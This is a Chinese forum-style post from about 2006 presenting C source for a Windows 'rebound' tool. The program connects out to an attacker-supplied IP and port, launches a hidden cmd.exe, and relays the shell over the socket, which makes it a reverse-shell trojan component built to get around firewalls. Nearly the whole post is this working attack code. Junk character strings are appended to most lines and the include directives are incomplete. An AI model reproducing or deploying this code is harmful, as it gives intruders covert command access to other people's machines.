这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 x_@i(oQ:_
3bC
yTZk
/* ============================== }{7e7tW6
Rebound port in Windows NT #*q2d
By wind,2006/7 q5&Ci`
===============================*/ OKuD"
#include HgJb4Fi
#include ~pP0|B*%
w=r&?{
#pragma comment(lib,"wsock32.lib") "5DJu~
V7CoZnz
void OutputShell(); DrS~lTf=>
SOCKET sClient; ?s}
%
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Qqs"?Z,P
?`sy%G
void main(int argc,char **argv) !MZw#=D`
{ -Q$nA>trKA
WSADATA stWsaData; q/@dR{-
int nRet; [_DPxM=V
SOCKADDR_IN stSaiClient,stSaiServer; Qb^q+C)o]
6DS43AQs
if(argc != 3) (4~WWU (iT
{ v<rF'D2
printf("Useage:\n\rRebound DestIP DestPort\n"); L0Vgo<A
return; 4yV].2#rl"
} C;1PsSE+A
Q/_#k/R
WSAStartup(MAKEWORD(2,2),&stWsaData); wuK=6RL
.{dE}2^
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ol!86rky
H9"= p
stSaiClient.sin_family = AF_INET; oC dGQ7G}
stSaiClient.sin_port = htons(0); T@+ClZi
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); OS7RQw1
+!>LY
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) u?Hb(xZtg=
{ MB$a82bY
printf("Bind Socket Failed!\n"); a#(U2OP
return; vgPUIxB@
} D(Ix!G/
Vb6K:ZnF
stSaiServer.sin_family = AF_INET; P;foK)AM
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); i&ts YnP2
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); NXoK@Y
VK
.^v<Yo
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) w-FnE}"l
{ z4Oo@3$\R
printf("Connect Error!"); IlZu~B9c
return; aPIr_7e
} L4974E?S
OutputShell(); 3A0_C?E
} fp !:u
AqYxWk3>
void OutputShell() X\2_;zwf
{ `q?RF+
char szBuff[1024]; ~
l )t|'6
SECURITY_ATTRIBUTES stSecurityAttributes; *re 44
OSVERSIONINFO stOsversionInfo; 7c1+t_ Ew
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; F?*k}]Gi
STARTUPINFO stStartupInfo; G\rj?%
char *szShell; [!+D<Y
PROCESS_INFORMATION stProcessInformation; !'c| N9
unsigned long lBytesRead; uCUu!Vfeg
OhWC}s
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); |$w*RI0C
19y
0$e_V
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); OXtBJYe
stSecurityAttributes.lpSecurityDescriptor = 0; )mD\d|7f
stSecurityAttributes.bInheritHandle = TRUE; pDDG_4E>
JLUms
o<\6Rm
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); LD.Ck6@
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Z;*`fd?8
/Dd\PjIH{
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); pcpxe&S
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; kyAs'R@z
stStartupInfo.wShowWindow = SW_HIDE; `!Ln|_,d
stStartupInfo.hStdInput = hReadPipe; oI$V|D3 9
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; RK)l8c}
2ij/N%l
GetVersionEx(&stOsversionInfo); U>3
>Ex
.ev\M0Dt
switch(stOsversionInfo.dwPlatformId) n&7@@@cA
{ }u^:MI
case 1: Ru7L>(Njs
szShell = "command.com"; ' o=E!?
break; ~I)uWo
default: F ?mA1T>x
szShell = "cmd.exe"; Yk7"XP[Y
break; twbcuaCTW
} 7+8bL{
XARSGAuw
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); $MT}l
kgc.8
send(sClient,szMsg,77,0); %F3}/2
while(1) eiB(VOJ
{ Q<'@V@H
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 03"#J2b
if(lBytesRead) 24|<<Xn
{ ;$6x=uZ
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 5`yPT>*#m>
send(sClient,szBuff,lBytesRead,0); }9}w8R~E
} {d}26 $<$]
else f(.6|mPp
{ N l|^o{#
lBytesRead=recv(sClient,szBuff,1024,0); z|%Bh
if(lBytesRead<=0) break; o}!&y?mp
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); XPVV+.
} g^n;IE$B
} w%~qB5wF6
Zjt9vS)
return; ;qG1r@o
}